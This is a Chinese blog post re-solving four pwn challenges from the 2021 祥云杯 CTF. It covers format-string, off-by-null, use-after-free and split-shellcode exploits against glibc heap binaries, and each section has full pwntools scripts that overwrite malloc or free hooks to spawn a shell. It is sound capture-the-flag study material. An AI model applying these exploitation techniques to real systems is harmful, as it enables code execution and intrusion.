71's blog

宏願縱未了 奮鬥總不太晚

0%

pwn复现 | 祥云杯2021

鸽鸽鸽… 还有两道努努力能跟着 wp 做出来的 lemon 和 life_simulation 还在鸽… en,这四道都是简单题。我个人最喜欢 JigSaw’s Cage,改 shellcode 汇编好好玩!

note

amd64-64-little, FULL RELRO, Canary found, NX enabled, PIE enabled

菜单题:

  • add:不限个数,size不大于 0x100,malloc 后 ptr 存在 bss 上,没有chunklist。返回堆地址。
  • show:检查 ptr 是否有值,puts 打印 ptr 指向的堆块的内容。
  • say:读 100 字节到栈上,以其为参数进行 scanf。

say 函数存在明显的格式化字符串漏洞,buf 是我们可控的 fmt。

程序是64位,前六个参数在寄存器中,第七个参数起才置于栈上。先看看 scanf 前栈的情况,b *($rebase(0x1235))

buf 后紧跟着 _IO_21_stdout ,这里也是偏移7的位置,可用 %7$s 往该结构体上写任意数据。因此可以打 IO_FILE,泄露libc地址。gdb调试一下。b *($rebase(0x123a))

要注意栈情况是跟程序加载时使用的 ld 和 libc 相关的。下图是我没有更换 libc 时的栈布局,_IO_21_stdout 与buf 相差了 0x28 。

至于为什么做的时候不更换呢,是因为我用以往只会的一种 patchelf 的方法后(--set-rpath--set-interpreter),程序崩了。我用的是 glibc-all-in-one-master 提供的 lib 库,偶尔会出现 patch 完段错误的情况。手动把 ld 和 libc 分别 patch 一遍就好了,不 patch 的话也可以设置 LD_PRELOAD 再运行:

1
2
3
4
5
patchelf --set-interpreter ./ld-2.23.so ./note
patchelf --replace-needed libc.so.6 ./libc-2.23.so ./note

LD_PRELOAD=./libc-2.23.so ./ld-2.23.so ./note
#p=process(argv=["./ld-2.23.so","./note"],env={"LD_PRELOAD" : "./libc-2.23.so"})

现在我们可以获得 libc 地址和堆地址。scanf 函数的buf 可写入 100 字节,也不能算是栈溢出,应该说是由于 scanf 的内容、偏移可控,栈上有 100 字节的空间可控,加上从第七个参数起位于栈上,scanf 的目标地址也可控,从而可以任意地址写。也就是可以在 buf+0x08 的位置写上任意地址,再用 %7$s 写。同理,如果在 buf+0x10 的位置写地址,用 %8$s 写。

有libc,能任意写,直接改 __malloc_hook 就好了,连堆地址都用不上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
context(arch='amd64',bits=64,endian='little',binary=ELF('./note'))
# p=process(argv=["./ld-2.23.so","./note"],env={"LD_PRELOAD" : "./libc-2.23.so"})
p=process('./note')
libc=ELF('./libc-2.23.so')
elf=ELF('./note')

ru = lambda s: p.recvuntil(s)
rv = lambda s: p.recv(s)
rl = lambda : p.recvline()
sl = lambda s: p.sendline(s)
sd = lambda s: p.send(s)
it = lambda : p.interactive()

def menu(num):
ru('ice: ')
sl(str(num))
def add(size,con):
menu(1)
ru('size: ')
sl(str(size))
ru('content: ')
sl(con)
def say(con,input):
menu(2)
ru('?')
sd(con)
ru('?')
sl(input)
def show():
menu(3)

say('%7$s'.ljust(8,'\x00'),p64(0xfbad1800) + p64(0)*3)
libcbase=u64(ru('\x7f')[-6:].ljust(8,'\x00'))-0x3c36e0
#success(hex(libcbase))
mallochook=libcbase+libc.sym['__malloc_hook']-0x8
realloc=libcbase+libc.sym['realloc']
one_gadget=[0x45226,0x4527a,0xf0364,0xf1207]
og=libcbase+one_gadget[1]
say('%7$s'.ljust(8,'\x00')+p64(mallochook),p64(og)+p64(realloc+8)+p64(0))
menu(1)
ru('size:')
sl('1')

it()

如果非得用上堆地址的话,应该是通过 house of orange 来改。程序有任意写和show功能,没有 delete 函数,因此通过修改 top chunk 把它放入 unsorted bin 中,再申请到 malloc hook 的位置改。

PassWordBox_FreeVersion

amd64-64-little, Full RELRO, Canary found, NX enabled, PIE enabled

菜单题:

  • add:添加 80 个不大于 0x100 的 pwd box,输入 pwd 的时候存在 off-by-null,第一次 add 的话会返回加密后的pwd。
  • edit:只用一次,修改 pwd box 前 0x10 字节。输入的 idx 为无符号数,但未对其大小进行检查。
  • show:对无符号数 idx 进行范围检查,明文打印 username 和 pwd。
  • dele:全清空,无 uaf 。

其中的加密函数只是逐位异或,key 是个两层随机生成的随机数。当 content 为 ‘\x00’ 时相当于 key本身。因为 add 函数会在第一次 add 的时候输出密文,所以第一次传入’\x00’的话能泄露出key。又因为两次异或等于其本身,后续传数据的时候,如果想明文存储,先异或再传就可以了。

可以看到 libc 的小版本是1.4,tcache 中有 key 值,unlink 的时候会检查是否存在 double free,将 key 改成别的值就可以绕过。

可 add 数量比较大,基本等于无限制。构造 off by null 的时候我也没太注意节省 chunk 数量。en,常规的 2.27 off by null,考点应该就是 tcache key 和 异或加密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import*
context(arch='amd64',bits=64,log_level='debug',endian='little',binary=ELF('./pwdFree'))
p=process('./pwdFree')
libc=ELF('./libc.so.6')
elf=ELF('./pwdFree')

ru = lambda s: p.recvuntil(s)
rv = lambda s: p.recv(s)
rl = lambda : p.recvline()
sl = lambda s: p.sendline(s)
sd = lambda s: p.send(s)
it = lambda : p.interactive()

def menu(num):
ru('ice:')
sl(str(num))
def add(name,size,con):
sleep(0.05)
menu(1)
ru('ve:')
sl(name)
ru('wd:')
sl(str(size))
ru('wd:')
sd(con)
def edit(id,con):
sleep(0.05)
menu(2)
sl(str(id))
sd(con)
def show(id):
sleep(0.05)
menu(3)
ru('ck:')
sl(str(id))
def dele(id):
sleep(0.05)
menu(4)
ru('te:')
sl(str(id))

add('key',1,'\x00')
ru('Save ID:')
key=u64(rv(8))
success(hex(key))

for i in range(7):
add('aaa'+str(i+1),0xf8,'bbb\n')
add('aaa8',0xf8,'ccc\n')
add('aaa9',0x78,'ccc\n')
add('aaa10',0xf8,'ccc\n')
add('aaa11',0x10,'ccc\n')

for i in range(1,8):
dele(i)

dele(9)
dele(8)
add('ddd1',0x78,'a'*0x70+p64((0x100+0x80)^key))#1
dele(10)

add('ddd2',0xd8,'\n')#2
add('ddd3',0x18,'\n')#3
show(1)
ru('Pwd is: ')
libcbase=u64(rv(8))^key
libcbase-=0x3ebca0
#success(hex(libcbase))
free_hook=libcbase+libc.sym['__free_hook']
one_gadget=[0x4f3d5,0x4f432,0x10a41c]
og=one_gadget[1]+libcbase

add('ddd4',0x60,'\n')#4
dele(1)
edit(4,p64(free_hook)+'a'*0x08)

add('ddd5',0x60,'\n')
add('ddd6',0x60,p64(og^key)+'\n')

dele(3)

it()

PassWordBox_ProVersion

amd64-64-little, Full RELRO, Canary found, NX enabled, PIE enabled

前一题的 2.0 版本,不同之处:

  • add:0x420 <= size <=0x888,属于 large bin范围。

  • edit:堆块 active 的标志不为空时,可编辑 size 长度的内容,不限次数。

  • delete:uaf,active 标志置零。

  • recover:指定 chunk 的 active 标志置一,uaf,edit、delete、show函数都能再用被 free 过的 chunk。

另外,libc 是 2.31 的版本,tcache bin 中的 key 被移位加密过。

首先 libc 的泄露,recover 后有 uaf 漏洞,直接 show unsorted bin 中的 chunk 就能泄露 libc 地址。

其次改 hook。2.31 的环境下堆块利用起来可能有点麻烦,不妨试试打 tcache_max_bins。这种方法我在之前的比赛中也有遇到过:【ctf復現003】修改TCACHE_MAX_BINS 。这个 mp_ 结构体位于 libc 上,libc 地址已知,它的地址也可以算出来。利用 larget bin,修改 bk_nextsize 位来改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import*
context(arch='amd64',bits=64,log_level='debug',endian='little',binary=ELF('./pwdPro'))
p=process('./pwdPro')
libc=ELF('./libc.so')
elf=ELF('./pwdPro')

ru = lambda s: p.recvuntil(s)
rv = lambda s: p.recv(s)
rl = lambda : p.recvline()
sl = lambda s: p.sendline(s)
sd = lambda s: p.send(s)
it = lambda : p.interactive()

def menu(num):
ru('ice:')
sl(str(num))
def add(id,size,con):
sleep(0.05)
menu(1)
ru('Add:')
sl(str(id))
ru('ve:')
sl('aaa')
ru('wd:')
sl(str(size))
ru('wd:')
sd(con)
def edit(id,con):
sleep(0.05)
menu(2)
ru('it:')
sl(str(id))
sd(con)
def show(id):
sleep(0.05)
menu(3)
ru('ck:')
sl(str(id))
def dele(id):
sleep(0.05)
menu(4)
ru('te:')
sl(str(id))
def recover(id):
menu(5)
ru('Recover:')
sl(str(id))


add(0,0x420,'\x00'*0x420)
ru('Save ID:')
key=u64(rv(8))
success(hex(key))

#leak main_arena(unsortedbin)
add(1,0x460,'\n')
add(2,0x420,'\n')
add(3,0x450,'\n')
add(4,0x500,'\n')
add(5,0x500,'\n')
add(6,0x500,'\n')

dele(1)
recover(1)
show(1)
ru('Pwd is: ')
libcbase=u64(rv(8))
libcbase^=key
libcbase-=0x1ebbe0
success(hex(libcbase))
free_hook=libcbase+libc.sym['__free_hook']
sys=libcbase+libc.sym['system']
mp_tcache_bins=libcbase+0x1eb2d0

add(7,0x480,'\n')
edit(1,p64(0)+p64(mp_tcache_bins-0x20)+p64(0)+p64(mp_tcache_bins-0x20))

dele(3)
recover(3)
add(8,0x480,'\n')

dele(6)
dele(5)#tcache
recover(5)
edit(5,p64(free_hook))

add(5,0x500,'\n')
add(6,0x500,p64(sys^key)+'\n')
edit(2,'/bin/sh\x00')
dele(2)

it()

JigSaw’sCage

amd64-64-little, Full RELRO, Canary found, NX enabled, PIE enabled

程序一开始使用了 mprotect 函数,设置堆段的部分空间权限为7。v1的输入存在栈溢出漏洞,%ld 是八个字节,能将 ran 覆盖。

ran是伪随机数。由于在使用 rand() 函数之前未使用 srand 函数,种子默认初始化为1。可以拿提供的 libc.so 文件生成,预测 ran 的生成序列。序列的第一个数字为7,不可能大于 14,所以需要通过栈溢出修改 ran 值,在heap 中开启 0x1000 大小的 可读可写可执行空间。

1
2
3
4
5
6
7
8
from ctypes import *

eelf = cdll.LoadLibrary('./libc.so')

eelf.srand(1)

for i in range(0,5):
print(eelf.rand() % 16)

接下来是菜单:

  • add:可添加6个 0x10的chunk,每个被初始化为 '\xc3'*0x10 ,也就是16个 ret 指令。
  • delete:无uaf。
  • edit:读入 0x10,最后一个字节覆盖为 ret 指令。
  • show:打印。
  • test:执行 chunk_list[i] 的内容,0< i <31,可越界执行。

根据前面开启的 0x1000 的 rwx 的空间,可以知道这里应该是往堆上写 shellcode 执行了。但是每次只能写 0x10(包括加上的 ret指令),因此需要拆分 shellcode。考点应该就是如何在有 ret 的情况下顺序执行不同 chunk 的 shellcode。

  • 执行 test 函数的时候,堆地址保存在寄存器上,可以用 jmp 指令跳到下一个堆块。
  • /bin/sh\x00 太长了,无论如何分割 shellcode 都会超过 0x10。因此可通过调用 read 函数读入到指定位置上,再在下一段 shellcode 里从该位置取参数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import*
context(arch='amd64',bits=64,endian='little',binary=ELF('./JigSAW'))
p=process('./JigSAW')
elf=ELF('./JigSAW')

ru = lambda s: p.recvuntil(s)
rv = lambda s: p.recv(s)
rl = lambda : p.recvline()
sl = lambda s: p.sendline(s)
sd = lambda s: p.send(s)
it = lambda : p.interactive()

def menu(num):
ru('ice :')
sl(str(num))

def add(id):
menu(1)
ru('Index')
sl(str(id))

def edit(id,con):
menu(2)
ru('Index')
sl(str(id))
ru('put:')
sd(con)

def test(id):
menu(4)
ru('Index')
sl(str(id))


ru('Name:')
sl('aaa')
ru('Choice:')
sl(str(0x100000000000))

for i in range(5):
add(i)

shellcode1=asm('''
mov rdi,rax
xor eax,eax
push 0x50
push rdx
pop rsi
pop rdx
syscall
''')

shellcode2=asm('''
push 0
sub rdx,0x20
mov rdi,[rdx]
add rdx,0x40
jmp rdx
''')

shellcode3=asm('''
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall
''')
edit(0,shellcode1)
edit(1,shellcode2)
edit(2,shellcode3)

test(0)
sl('/bin/sh\x00')

test(1)
it()